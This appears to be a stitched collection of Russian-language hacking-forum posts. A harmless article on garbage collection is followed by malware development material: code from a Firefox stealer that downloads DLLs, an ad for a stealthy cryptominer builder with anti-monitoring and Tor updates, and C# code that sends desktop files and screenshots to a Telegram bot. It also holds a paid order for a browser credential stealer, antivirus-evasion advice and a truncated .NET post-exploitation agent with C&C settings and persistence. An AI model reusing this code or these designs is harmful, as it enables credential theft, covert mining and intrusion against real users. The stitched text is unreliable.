Таким образом, от решения для автоматического управления требуются два свойства: никогда не удалять из памяти объекты, на которые есть живые указатели, и по возможности не оставлять в памяти объекты, на которые живых указателей нет.
Упрощенно можно сказать, что при запуске у программы есть непрерывный диапазон адресов, куда она может поместить свои данные. Программа с автоматическим управлением памятью сразу при запуске запрашивает у ОС область памяти под «кучу» (heap). Начальный размер кучи часто (но не всегда) можно настроить во время компиляции или выполнения. При выполнении программы размер кучи может расти.
После этого сборщик мусора периодически следит за тем, какие участки памяти еще содержат нужные данные, а какие можно освободить и заполнить новыми данными. Как именно он это делает — зависит от реализации, но об этом дальше. Для начала развеем более простые мифы.
Часто можно услышать утверждения вроде «Ruby — язык со сборкой мусора» или «С — язык с ручным управлением памятью». Первое утверждение верно в том смысле, что ни одна реализация Ruby не предоставляет возможность управлять памятью вручную.
Со вторым утверждением сложнее. Сборка мусора не входит в спецификацию языка С. Тем не менее спецификация ее и не запрещает. Спецификация языка ада также не навязывает авторам компиляторов какую‑то конкретную модель управления памятью, но некоторые компиляторы при этом предоставляют опциальный сборщик мусора.
Такие компиляторы С мне неизвестны, но на практике автоматически управлять памятью в программах на С вполне возможно с помощью сторонних библиотек.
Для примера мы возьмем Boehm GC. Это весьма зрелый и функциональный продукт, который использовали или поныне используют множество проектов: как приложений (например, векторный графический редактор Inkscape), так и реализаций языков программирования.
Многие дистрибутивы Linux предоставляют пакет с Boehm GC в репозиториях, чаще всего под именем libgc. В Fedora его можно поставить командой sudo dnf install libgc-devel, в Debian — sudo apt-get install libgc-dev.
Для демонстрации мы напишем программу, которая непрерывно запрашивает память под массив из тысячи целых чисел, но никогда ее не освобождает. Если бы мы использовали для выделения памяти классический malloc(), это была бы хрестоматийная утечка памяти. Но мы обратимся не напрямую к ОС, а к менеджеру памяти Boehm GC с помощью функции GC_MALLOC() и посмотрим, что будет.
Сохраним следующий код в файл gctest.c.
C:Copy to clipboard
#include "gc.h"
#include <stdio.h>
int main() {
GC_INIT();
while(1) {
printf("Allocating memoryn");
int *p = (int*)GC_MALLOC(sizeof(int) * 1000);
printf("There are %d free bytes in the heap nown", GC_get_free_bytes());
printf("Making the object unreachablen");
p = NULL;
printf("There are %d free bytes in the heap nown", GC_get_free_bytes());
}
}
Вызовом int p = (int)GC_MALLOC(sizeof(int) * 1000) мы запрашиваем память на массив из тысячи 32-битных целых чисел (4069 байт) и сохраняем указатель на этот участок памяти в переменной p. Далее мы делаем эту память недоступной, заменив значение p нулевым указателем.
Теперь скомпилируем его командой gcc -lgc ./gctest.c -o gctest.
В выводе программы мы будем периодически наблюдать следующую картину: объем доступной памяти будет падать сперва до 8192 байт, затем до 4096 и, наконец, до нуля. Когда он достигнет нуля, следующая попытка выделения памяти скачком увеличит доступный объем.
Code:Copy to clipboard
$ ./gctest
...
There are 4096 free bytes in the heap now
Making the object unreachable
There are 4096 free bytes in the heap now
Allocating memory
There are 0 free bytes in the heap now
Making the object unreachable
There are 0 free bytes in the heap now
Allocating memory
There are 258048 free bytes in the heap now
По умолчанию Boehm GC выполняет сборку мусора только при острой необходимости — когда новую память взять уже негде. Если добавить в начало функции main() вызов GC_enable_incremental(), сборка мусора будет производиться чаще и объем свободной памяти не станет падать до нуля.
Вообще, у Boehm GC множество опций, которые можно менять как изнутри программы, так и извне с помощью переменных окружения.
Другое распространенное мнение: сборка мусора — это всегда «магический», скрытый от пользователя и неуправляемый процесс.
Как мы уже увидели на примере Boehm GC, это не совсем верно. Автоматическое управление памятью — это всегда компромисс, и разные приложения требуют разных тактик сборки мусора для лучшей производительности. Авторы средств разработки это прекрасно понимают.
Авторы Boehm GC открыто признают, что GC_enable_incremental() может ухудшить общее время выполнения программы, но повысить ее отзывчивость. Что лучше для каждой конкретной программы, могут решить только ее автор и пользователи.
JVM предоставляет огромное количество опций для выбора стратегии сборки мусора и ее параметров. [Glasgow Haskell Compiler](https://downloads.haskell.org/~ghc/8.8.4/docs/html/users_guide/runtime_control.html#rts- options-to-control-the-garbage-collector) тоже содержит ряд опций, несмотря на репутацию академического языка.
Некоторые реализации языков также позволяют управлять сборкой мусора и получать данные об использовании памяти изнутри программы: например, Python, [Ruby](https://ruby- doc.org/core-2.7.0/GC.html), [OCaml](https://caml.inria.fr/pub/docs/manual- ocaml/libref/Gc.html). Авторы программ иногда предпочитают запускать сборку мусора вручную, когда связанная с этим кратковременная потеря производительности меньше всего заметна для пользователя.
Тем не менее в некоторых языках и их интерпретаторах действительно нет возможностей для ручной настройки управления памятью. Например, в Perl. Но это и не самая большая из проблем интерпретаторов языка Perl.
Первые реализации сборки мусора появились еще в шестидесятых годах прошлого века, в интерпретаторах языка лисп. С тех пор методы поиска «мертвой» памяти и ее освобождения непрерывно совершенствовались. Увы, появление новых, более эффективных методов не означает, что их сразу начнут использовать во всех языках.
Иногда реализации языков продолжают придерживаться старых методов по историческим или практическим причинам. К примеру, Perl использует самую простую стратегию из возможных — подсчет ссылок.
Когда программист на Perl пишет $msg = "hello world", интерпретатор помещает значение "hello world" в память и сохраняет в $msg указатель на него. Если присвоить его другой переменной ($hello = $msg) или поместить в массив (@msgs = ($msg)), счетчик ссылок увеличивается на единицу. Как только переменные $hello или @msgs выйдут из области видимости, счетчик уменьшается. Когда счетчик достигнет нуля, память со строкой "hello world" считается недостижимой и освобождается.
Очевидная проблема этого подхода — циклические ссылки создают утечку памяти. Рассмотрим для примера двусвязный список. Чтобы список можно было проходить в обоих направлениях, последующий элемент ссылается на предыдущий, и наоборот. Очевидно, при использовании простого подсчета ссылок для определения недоступной памяти ни один элемент двусвязного списка никогда не станет недоступен.
Авторы Perl [открыто признают](https://perldoc.perl.org/perlref#Circular- References) эту проблему и советуют вручную использовать слабые ссылки (weak references). Почему они не перешли на более совершенные методы? Perl чаще всего используют для небольших скриптов или во всяком случае не для программ со сложными алгоритмами и структурами данных, поэтому для типичного использования это не создает проблем. Однако об этом нужно помнить, чтобы случайно не посчитать Perl хорошо пригодным для работы с такими структурами данных.
Python также использует подсчет ссылок как основной механизм, но, в отличие от Perl, содержит алгоритм поиска циклических ссылок. Поиск циклических ссылок — это более затратная операция, поэтому он не проводится на каждом цикле сборки мусора, но, по крайней мере, структуры данных вроде двусвязных списков и циклических графов не останутся в памяти навсегда.
Некоторые думают, что все сборщики мусора используют подсчет ссылок, и совершенно зря. Многие языки и их компиляторы используют схему с отслеживанием (tracing garbage collector). Такие алгоритмы начинают работу от «заведомо доступных» объектов (например, глобальных переменных) и отмечают все объекты, на которые те ссылаются, — для отметки доступности служат зарезервированные биты. Затем объекты, которые не помечены как используемые, освобождаются.
Алгоритмы этого семейства объединяются термином mark-and-sweep. Среди их пользователей — JVM, .Net, Go, OCaml и многие другие языки и их библиотеки времени выполнения.
В отличие от подсчета ссылок, эти алгоритмы позволяют выполнять сборку мусора параллельно с выполнением самой программы. На практике эта возможность реализована не всегда, и многопоточная сборка мусора без ущерба для скорости выполнения однопоточных программ все еще открытая и не до конца решенная проблема. JVM, к примеру, предоставляет как однопоточную, так и параллельную реализацию для разных случаев.
Знаешь ли ты, как твой любимый язык и его реализация управляют памятью? Нередко именно это знание отличает новичка от эксперта, особенно если речь идет о приложениях с высокой нагрузкой, поскольку верный выбор опций сборки мусора может сильно ускорить работу программы.
Возможно ли автоматическое управление памятью без сборки мусора и связанных с ней потерь производительности? Да, но об этом — в следующий раз.
автор @dmbaturin aka Даниил Батурин
взято с хакер.ру
Короче стоит задача мне написать стиллер для firefox, я гружу dll с сервера, вот функция которая загружает dllки
C++:Copy to clipboard
DWORD DownloadFile(char* url, char* filePath)
{
HINTERNET hInetSession;
HINTERNET hInetFile;
HANDLE hFile;
OVERLAPPED ovlp;
DWORD dwOffset = 0;
DWORD dwRead;
TCHAR ReadBuf[4 * 1024];
hInetSession = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)", PRE_CONFIG_INTERNET_ACCESS, NULL, NULL, 0);
if (hInetSession == NULL)
{
return -1;
}
hInetFile = InternetOpenUrlA(hInetSession, url, NULL, 0, 0, NULL);
if (hInetFile == NULL)
{
return -1;
}
hFile = CreateFileA(filePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
InternetCloseHandle(hInetSession);
InternetCloseHandle(hInetFile);
return -1;
}
do
{
InternetReadFile(hInetFile, ReadBuf, sizeof(ReadBuf), &dwRead);
if (dwRead >= 0)
{
ovlp.hEvent = NULL;
ovlp.OffsetHigh = NULL;
ovlp.Offset = GetFileSize(hFile, NULL);
WriteFile(hFile, ReadBuf, dwRead, NULL, &ovlp);
dwOffset += dwRead;
}
else
{
InternetCloseHandle(hInetSession);
InternetCloseHandle(hInetFile);
hInetSession = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)", PRE_CONFIG_INTERNET_ACCESS, NULL, NULL, 0);
if (hInetSession == NULL)
{
CloseHandle(hFile);
return -1;
}
hInetFile = InternetOpenUrlA(hInetSession, url, NULL, 0, 0, NULL);
if (hInetFile == NULL)
{
CloseHandle(hFile);
InternetCloseHandle(hInetSession);
return -1;
}
InternetSetFilePointer(hInetFile, dwOffset, NULL, FILE_BEGIN, NULL);
}
} while (dwRead);
CloseHandle(hFile);
InternetCloseHandle(hInetSession);
InternetCloseHandle(hInetFile);
return 1;
}
Функция вроде норм, но я думаю, что вся фигня из за нее
Так короче идем дальше, я загрузил с серва dllки их 4 - freebl3, mozglue,
nss3, softokn3, дальше я их поместил в одну дерикторию вызвал функцию
SetCurrentDirectoryA, передав аргумент, самого пути к папке с dllками, далее
делаю загружаю nss3.dll - LoadLibraryA("nss3.dll"), возвращает 00000000, так
вот с этими скачаннами файлами ничего не выходит, я даже пытался эти файлы
скачанные закинуть отдельно в одну папку и попробовать сделать те
дейстивия(думал проблемы с асинхронностью), так вот когда я пробую загрузить
уже не скачанные файлы, а это dllки чисто из firefox, то он выводит все норм
указатель на память. Я думаю это, что то в функции с загрузкой файла, хз. Сори
если было много ошибок и написал много х#йни не понятной)
**[+] Запуск из под пользователя без админ прав;
[+] Все реализовано одним exe фаилом;
[+] В диспетчере задач процесс attrib.exe;
[+] При нажатие "Открыть место хранения фаила" открывается windir, где
выделяется attrib.exe
[+] После заражения сборка стартует не сразу, примерно в течение минуты. После
старта еще требуется время для подключения к Тору для скачивания актуальной
версии майнера;
[+] При включение Windows, сборка стартует не сразу, в течение минуты;
[+] При открытие Task Manager, Process Hacker, Process Explorer, Perfmon,
VirusTotal Uploader 2.0, aida64, System Explorer, Open Hardware Monitor,
PCHunter64, HWiNFO64, GPU-Z, GPU-Z, AnVir, Real Temp, speedfan, Process Lasso
майнер выключается. Не 1го процесса лишнего не висит. Запускается только после
закрытия выше перечисленных программ спустя примерно минуту;
[+] Защита от завершения процесса. Если процессы майнера будут завершены, то в
течение минуты перезапустятся;
[+] Если пользователь найдет сборку, то для него это будет не понятный exe
фаил. Сборка не запускается по двойному щелчку, только по специальным
переданным ей параметрам.
[+] Автозагрузка;
[+] "Склейка";
[+] Мощность майнинга на CPU можно выбрать на:
- 50%
- 75%
- 100%
[+] GPU майнинг.При простое ПК 2 минуты, начинает майнить на видеокарте тоже.
Если "простой" заканчивается, то GPu майнинг выключается. (Поддержка видеокарт
начиная от GTX 970 и выше, RX 460 и выше)
[+] Отслеживание ошибки при запуске майнинга на видеокарте. Т.е., если стоят
не подходящие драйвера, либо еще что-то не так и при старте майнинга GPU
выскакивает ошибка. То эту ошибку автоматом закрывает и перестает снова
пробовать запустить до следующего обновления майнера.
[+] Рандомное имя воркера из 7 цифр под каждый запуск. (автоматом ставится для
найсхэш, если не выбранно постоянное имя воркера)
[+] Фейк-ошибка. (при запуске сборки жертве показывается ошибка, якобы не
запустилось)
[+] Постоянное имя воркера. (Можно выбрать для пулов, где есть имена воркеров.
На каждом ПК сборка присваивает индивидуальное имя воркеру, это имя
сохраняется всегда, даже после перезагрузки. Полезно для отслеживания
живучести воркеров)
[+] Поддержка SSL/TLS;
[+] Логгеры;
[+] Автообновление через сервера в Торе. Невозможно заблокировать, всегда
поддерживается свежая версия майнера на зараженных ПК, что актуально после
хардфорков монеток. Больше никаких потерь воркеров из-за хардфорков.
[+] Сборка поддерживает все версии Windows от 7 и выше, 32 и 64 bit.
Донат разработчика - 10%
Скачать и следить за выходом свежих версий можно по след. ссылкам:
https://github.com/hawksh/Hidden-miner-builder
или
https://t.me/hidden_miner**
Наша программа будет уметь делать следующие функции:
Сразу хочу предупредить чтобы успешно подключиться к боту вы не должны
находится за
NAT
Если Вы не можете подключиться к боту используйте VPN сервер, или же
подключитесь напрямую через Proxy к TelegramBotClient - Об этом в
следующем уроке.
Создаём класс Telega.cs
Подключим все зависимости:
C#:Copy to clipboard
using System;
using System.IO;
using System.Linq;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using Telegram.Bot;
using Telegram.Bot.Types;
using Telegram.Bot.Types.InputFiles;
Создадим переменную bot от TelegramBotClient внутри класса Telega
C#:Copy to clipboard
public class Telega
{
private static TelegramBotClient bot; // Переменная bot
}
Запишем функцию отправки и удаления сообщения
C#:Copy to clipboard
public class Telega
{
private static TelegramBotClient bot;
public static async Task SendMessage(string token, int destID, string text)
{
if (!string.IsNullOrWhiteSpace(token))
{
try
{
bot = new TelegramBotClient(token); // Подключение к боту
Message ss = await bot.SendTextMessageAsync(destID, text); // Отправка сообщения
Console.WriteLine($"Вы отправили боту текст с сообщением: {ss.Text}"); // В консоль получим сообщение какой текст отправили.
Console.WriteLine($"Всего сообщений: {ss.MessageId} | Чат ID: {ss.Chat.Id} | Date: {ss.Date}");
// await bot.DeleteMessageAsync(destID, ss.MessageId); // Удаления сообщения
}
catch (ArgumentException ex) { System.IO.File.AppendAllText("ConnectError.txt", $"{ex.Message}\r\n"); }
}
}
}
В классе Program.cs
C#:Copy to clipboard
using System;
using System.IO;
using System.Text;
internal static partial class Program
{
// Получаете данные в своём телеграм боте, и после прописываете их в коде.
private static string token = "8600:AAHzYkm8eZKd***"; // тут ваш токен
private static int id = 49755****; // тут ваш айди
private static StringBuilder stringBuilder = new StringBuilder();
public static void Main()
{
Console.Title = "TelegramBot";
stringBuilder.AppendLine($"Привет {Environment.UserName} это я твой бот =)");
try
{
Telega.SendMessage(token, id, stringBuilder?.ToString()).Wait();
}
catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPN\r\n"); }
}
}
Spoiler: Запустим бота и проверим
Как видим сообщение отправляется =)
Теперь в классеTelega.cs - запишем функцию которая будет отправлять скриншот
C#:Copy to clipboard
public static async Task SendPhoto(string token, int chatId, string filePath)
{
if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filePath))
{
using (var form = new MultipartFormDataContent())
{
form.Add(new StringContent(chatId.ToString(), Encoding.UTF8), "chat_id");
using (var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
{
form.Add(new StreamContent(fileStream), "photo", filePath.Split('\\').Last());
using (var client = new HttpClient())
{
await client.PostAsync($"https://api.telegram.org/bot{token}/sendPhoto", form);
Console.WriteLine("Скриншот отправлен успешно!");
}
}
}
}
}
В классе Program.cs вызывается таким образом
C#:Copy to clipboard
using System;
using System.IO;
internal static partial class Program
{
// Получаете данные в своём телеграм боте, и после прописываете их в коде.
private static string token = "860740080:AAHzYkm8eSYmZKd***"; // Ваш токен
private static int id = 49755****; // Ваш ID
private static readonly string DesktopFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "Screenshot_4.png"); // Ваш файл.
public static void Main()
{
Console.Title = "TelegramBot"; // Заголовок консоли
try
{
Telega.SendPhoto(token, id, DesktopFile).Wait(); // Отправка фото и ожидание (wait())
}
catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPN\r\n"); }
}
}
Spoiler: Запускаем программу и проверяем
Супер фотография отправлена =)
Переходим к следующему запишем в класс Telega.cs функцию отправки файла
C#:Copy to clipboard
public static async Task SendFile(string token, int id, string filename)
{
if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filename))
{
bot = new TelegramBotClient(token);
using (FileStream stream = System.IO.File.OpenRead(filename)) // Открываем поток для чтения файла(ов)
{
string ssf = Path.GetFileName(filename); // Получаем имя файла
var Iof = new InputOnlineFile(stream, ssf); // Входные данные для отправки
string fromsend = $"Файл отправлен от: {Environment.UserName}"; // Имя пользователя
Message ss = await bot.SendDocumentAsync(id, Iof, fromsend); // Отправка файла с параметрами.
}
}
}
В классе Program.cs вызываем так:
C#:Copy to clipboard
using System;
using System.IO;
internal static partial class Program
{
private static string token = "860740080:AAHzYkm8eSYmZKd***"; // Ваш токен
private static int id = 49755****; // Ваш ID
private static readonly string DesktopFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "Lesson.cs"); // Ваш файл
public static void Main()
{
Console.Title = "TelegramBot"; // Заголовок консоли
try
{
Telega.SendFile(token, id, DesktopFile).Wait(); // Отправка файла с ожиданием (wait())
}
catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPN\r\n"); }
}
}
Spoiler: Запускаем,проверяем
Файл успешно отправился =)
Если Вы хотите массово отправить файлы сделайте это следующим способом:
C#:Copy to clipboard
public static void MassSendFiles(string token, int id, string dir, string pattern)
{
try
{
if (!string.IsNullOrWhiteSpace(token))
{
foreach (string files in Directory.EnumerateFiles(dir, pattern, SearchOption.TopDirectoryOnly))
{
SendFile(token, id, files).Wait();
}
}
}
catch (Exception ex) { Console.WriteLine(ex.Message); }
}
Вызывается так:
C#:Copy to clipboard
private static readonly string DesktopFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
Telega.MassSendFiles(token, id, DesktopFile, "*zip");
Ну и на по следок получим информацию о боте:
В классе Telega.cs запишем функцию которая получит нужную нам информацию:
C#:Copy to clipboard
public static void GetInfo(string token)
{
if (!string.IsNullOrWhiteSpace(token))
{
try
{
bot = new TelegramBotClient(token);
var basa = new StringBuilder();
User me = bot.GetMeAsync().Result;
if (me.IsBot)
{
basa.AppendLine($"Логин бота: {me.Username}");
basa.AppendLine($"Имя бота: {me.FirstName}");
basa.AppendLine($"ID бота: {me.Id.ToString()}");
}
Console.WriteLine(basa?.ToString());
}
catch (AggregateException) { Console.WriteLine("Соединение блокировано, используйте Proxy Сервер"); }
}
}
Вызывается просто:
C#:Copy to clipboard
Telega.GetInfo(token);
Console.ReadKey();
На этом всё =) Всем удачи.
Готовый код:
C#:Copy to clipboard
namespace NewBot
{
using System;
using System.IO;
using System.Linq;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using Telegram.Bot;
using Telegram.Bot.Types;
using Telegram.Bot.Types.InputFiles;
public class Telega
{
private static TelegramBotClient bot;
public static async Task SendMessage(string token, int destID, string text)
{
try
{
if (!string.IsNullOrWhiteSpace(token))
{
bot = new TelegramBotClient(token); // Подключение к боту
Message ss = await bot.SendTextMessageAsync(destID, text); // Отправка сообщения
Console.WriteLine($"Вы отправили боту текст с сообщением: {ss.Text}");
Console.WriteLine($"Всего сообщений: {ss.MessageId} | Чат ID: {ss.Chat.Id} | Date: {ss.Date}");
await bot.DeleteMessageAsync(destID, ss.MessageId); // Удаления сообщения
}
}
catch { }
}
public static async Task SendPhoto(int chatId, string filePath, string token)
{
if (!string.IsNullOrWhiteSpace(token) || System.IO.Directory.Exists(filePath))
{
using (var form = new MultipartFormDataContent())
{
form.Add(new StringContent(chatId.ToString(), Encoding.UTF8), "chat_id");
using (var fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
{
form.Add(new StreamContent(fileStream), "photo", filePath.Split('\\').Last());
using (var client = new HttpClient())
{
await client.PostAsync($"https://api.telegram.org/bot{token}/sendPhoto", form);
Console.WriteLine("Скриншот отправлен успешно!");
}
}
}
}
}
public static async Task SendFile(string token, int id, string filename)
{
if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filename))
{
bot = new TelegramBotClient(token);
using (FileStream stream = System.IO.File.OpenRead(filename))
{
string ssf = Path.GetFileName(filename); // Получаем имя файла из потока
var Iof = new InputOnlineFile(stream, ssf); // Входные данные для отправки
string fromsend = $"Файл отправлен от: {Environment.UserName}"; // Имя пользователя
Message ss = await bot.SendDocumentAsync(id, Iof, fromsend); // Отправка файла с параметрами.
}
}
}
public static void MassSendFiles(string token, int id, string dir, string pattern)
{
try
{
if (!string.IsNullOrWhiteSpace(token))
{
foreach (string files in Directory.EnumerateFiles(dir, pattern, SearchOption.TopDirectoryOnly))
{
SendFile(token, id, files).Wait();
}
}
}
catch (Exception ex) { Console.WriteLine(ex.Message); }
}
public static void GetInfo(string token)
{
if (!string.IsNullOrWhiteSpace(token))
{
try
{
bot = new TelegramBotClient(token);
var basa = new StringBuilder();
User me = bot.GetMeAsync().Result;
if (me.IsBot)
{
basa.AppendLine($"Логин бота: {me.Username}");
basa.AppendLine($"Имя бота: {me.FirstName}");
basa.AppendLine($"ID бота: {me.Id.ToString()}");
}
Console.WriteLine(basa?.ToString());
}
catch (AggregateException) { Console.WriteLine("Соединение блокировано, используйте Proxy Сервер"); }
}
}
}
}
C#:Copy to clipboard
namespace NewBot
{
using System;
using System.IO;
using System.Text;
using System.Threading.Tasks;
internal static partial class Program
{
// private static string token = "860740080:AAHzYkm8eSYmZKd***";
// private static int id = 49757;
private static readonly string txtfile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "file.txt");
private static StringBuilder stringBuilder = new StringBuilder();
public static void Main()
{
Console.Title = "TelegramBot Test connect by Antlion";
stringBuilder.AppendLine($"Привет бот это: {Environment.UserName}");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("\"Для подключения требуется VPN сервер!\"\r\n");
Console.ForegroundColor = ConsoleColor.Cyan;
Console.Write("Введите токен для подключения: ");
string token = Console.ReadLine(); // тут вводим наш токен бота
Console.Write("Введите ID: ");
int id = Convert.ToInt32(Console.ReadLine());
Console.ForegroundColor = ConsoleColor.White;
Console.WriteLine();
Task.Run(() =>
{
//Telega.SendMessage(token, id, stringBuilder.ToString()).Wait();
//Telega.SendPhoto(id, file, token).Wait();
Telega.SendFile(token, id, txtfile).Wait();
});
//string desktopath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "Files");
//Task.Run(() => Telega.MassSendFiles(token, id, desktopath, "*.*"));
Telega.GetInfo(token);
Console.ReadKey();
}
/*
public static void Main()
{
Console.Title = "TelegramBot";
try
{
Telega.GetInfo(token);
Console.ReadKey();
}
catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или VPN\r\n"); }
}
*/
}
}
Код писался давно, многое можно переписать, но лень) Может кому-то будет
полезно, что-то для себя возьмёт.
Пользуйтесь! ))
Ну как японял админ хочет чтобы форум 'продвигался'
Скину сюда это.
Кое где в сорсах специально допущена ошибка, знающий уберёт. Копипастерам
удачи
P.S говнокодец, давно делал.
You must have at least 20 reaction(s) to view the content.
Хочу задать малварщикам вопрос. Как Вы чистите рантайм своей проги на C++? И
есть ли самые эффективные методы чистки. Недавно знакомый сурсы ратинка скинул
на C++, который показывает 25/36 ав. Попросил почистить. Исходники посмотрел,
глаза помыл и заново начал изучать. Заменил некоторые методы, которые сильно
детектят, обфусцировал строки, изменил длину переменных, (например char
data[MAX_PATH] на char sahdsay8hudsa[MAX_PATH], переместил функции, для
некоторых функции создал отдельный класс. и бац! 16/36... Картина не самая
лучшая. А как Вы чистите рантайм малварь?
p.s. попросил почистить не за деньги, а по-братски)
Добрый день всем! Нужен кодер, который сможет собрать из паблика/гитхаба и
откуда бы то ни было стиллер.
Никакие приватные решения не нужны. Просто хороший рантайт и возможность
стиллинга с актуальных версий браузеров.
Бюджет 3000$. РАБОТА ИСКЛЮЧИТЕЛЬНО ЧЕРЕЗ ГАРАНТА
Вот ТЗ:
Описание:
Нерезидентный стиллер, написанный на C/C++.
Работа на 32/64 системах. Без зависимостей (особенно от .NET).
Файл на выходе - нативный, для простоты криптования.
Поддерживаемые ОС: все клиентские Windows от 7 по 10, все серверные Windows от
2008 до последней.
Функционал:
Сбор паролей, куки, форм авто-заполнения, истории со всех браузеров
(актуальных версий конечно же)
основанных на Chronium, Mozilla, Gecko, Webkit, IE, Opera.
Сбор Outlook, Windows Mail, Windows Live Mail, The Bat с реестра.
Сбор Юзер-агента (язык, разрешение экрана и т.д.)
Всё это собирается в JSON, возможна конвертация в netscape.
Логи приходят (отстук) на гейт http/https.
Куки легко встравляются в браузер Linked-Sphere либо в спец-расширения для
браузеров для работы с куками.
Граббер файлов каких бы то ни было - не нужен.
Админка как у азора/ракуна/крота/предатора/тауруса - стандартная вообщем.
Рантайм EXE стиллера должен быть максимально чистым, желательно не выше 2/23 по dyncheck.com
Если полностью обобщить всё ТЗ: современная пародия на легендарный стиллер
AZORult,
способная стилить с актуальных версий браузеров. (без функции граббера чего
либо).
На выходе: файлы админ панели для установки на хост, билдер для EXE,
инструкция по установке на хост и работе с билдером.
В билдере необходим переключатель ON/OFF для параметра "отстук на VM" (если
это сильно усложнит процесс - по умолчанию OFF).
Писать сюда: https://t.me/pyroblast_17
![](/proxy.php?image=https%3A%2F%2Fwww.enigmasoftware.com%2Fimages%2F2017%2Fnsa-
hacking-tools-shadow-brokers-
uncovered.jpg&hash=c86f23a98dfbba3501b6e35e90b37a36)
Привет всем не могу компилировать код. кто может помогать мне?:
Ссылка ^ https://github.com/TheSph1nx/SLICKERMASTER-REV4
имя программы: SLICKERMASTER- REV4 (NSA Hacking Tool Recreation UnitedRake)
может помочь: <https://www.hacking.reviews/2017/09/shadow-brokers-leaks- another-windows.html?m=1>
Доброго времени суток,
Интересуют какие-либо адекватные исходники для создания брута на плюсах или в
крайнем случае на шарпе, можно даже на питоняге, но тогда в лс, дабы тут не
сорить ) А то кипер заманал -_- а толкового ничего не нашел
В гугле не забинили, вместо попыток пошутить и набить сообщения лучше кинуть в
меня хорошим линком)
Привет всем. Сегодня я покажу вам, как можно грамотно использовать .NET
платформу для создания инструмента пост эксплуатации, который позволит
полноценно отработать таргет и замести следы.
Думаю, у многих в голове сейчас пронеслась мысль: "А почему для данной задачи
выбран именно дотнет?", приведу несколько плюсов:
- Среда CLR предоставляет функционал JIT компиляции, другими словами - компиляции кода на лету.
- MSIL код отлично морфится, и тяжело реверсится.
- Разработка на .NET платформе занимает меньше времени, является более удобной.Click to expand...
Я уверен, что здесь найдутся те, кто начнёт рассказывать о зависимостях от
.NET Framework, и прочем. Мы с вами живём в 2019 году, Windows XP отсутствует
почти везде, эта операционная система в целом мертва.
Так-же для избежания длинного холивара я хочу подметить, что я не призываю
читателей данной статьи спрыгивать на дотнет с нативных ЯП, не пытаюсь
показать превосходство дотнета над другими ЯП.
Я считаю, что каждый ЯП должен быть предназначен для конкретного спектра
задач, использоваться по назначению. Распределение задач должно быть
равномерным и грамотным.
Давайте немного отстранимся от моего монолога и составим список функционала, который мы вложим в наш продукт:
- Стабильное закрепление в системе, относительная сложность деинсталяции неподготовленным юзером.
- Лоадер
- Выполнение CMD команд
- Полноценная модульная система. Поддержка модулей в формате .NET, PowerShell скриптов.Click to expand...
Теперь приступим к кодингу. Создаём проект, тип проекта - консольное
приложение. Версию .NET Framework, от которой будет зависеть проект - выбираем
на свой вкус. Мне понравилась 3.5.
Проект создан, видим главную функцию - Main. Перед тем, как начать заполнять
её контентом - давайте создадим несколько классов, в которых будут лежать
воспомогательные функции,
которые понадобятся в процессе. Создаём 2 класса: Config.cs, Utils.cs.
Первый будет содержать конфигурацию, требуемую для корректной работы билда.
Адрес C&C, прочие мелочи.
Второй будет хранить в себе набор некатегоризированных функций, которые
потребуются для работы агента.
Начнём с заполнения Config.cs:
C#:Copy to clipboard
static public string CnCList = ""; // Список C&C, на которые будет стучать агент, разделяемых при помощи символа ;. Пример: http://command_server1.com/gate.php;https://command_server2.com/gate.php
static public string BuildID = "COMPANY_404"; // Идентификатор билда.
static public string DirectoryName = "FlashUpdater"; // Название директории, в которую будет установлен агент.
Теперь переходим к Utils.cs, начинаем заполнять его. Сперва - подключим юзинги, а далее приступим к реализации функций. Некоторые моменты я буду попутно комментировать:
C#:Copy to clipboard
using System.IO;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using IWshRuntimeLibrary;
C#:Copy to clipboard
static private Random Rand = new Random();
static private string RandomString(int Count)
{
string CharList = "abcdefghijklmnopqrstuvwxyz";
char[] NewString = new char[Count];
for (int i = 0; i < Count; i++)
{
NewString[i] = CharList[Rand.Next(CharList.Length)];
}
return new string(NewString);
}
static public string RandomProcessName()
{
string ProcessName = "";
try
{
Process[] ProcessList = Process.GetProcesses();
List<string> ProcessNameList = new List<string>();
foreach (Process Proc in ProcessList)
{
try
{
string ProcessFilePath = Process.MainModule.FileName;
if (!ProcessFilePath.Contains("Windows") && !ProcessFilePath.Contains("ProgramData"))
{
ProcessNameList.Add(Proc.ProcessName);
}
}
catch {}
}
ProcessName = ProcesNameList[Rand.Next(ProcessNameList.Count)];
}
catch
{
ProcessName = RandomString(7);
}
return ProcessName + ".exe";
}
Далее мы реализуем функционал для удаления альтернативного потока ZoneID у
дропнутого файла. Для этого мы будем использовать COM интерфейс
IZoneIdentifier, предоставляющий такой функционал.
Дабы не тратить время зря, код мы возьмем
отсюда и приведя его в нормальный
вид вставим:
C#:Copy to clipboard
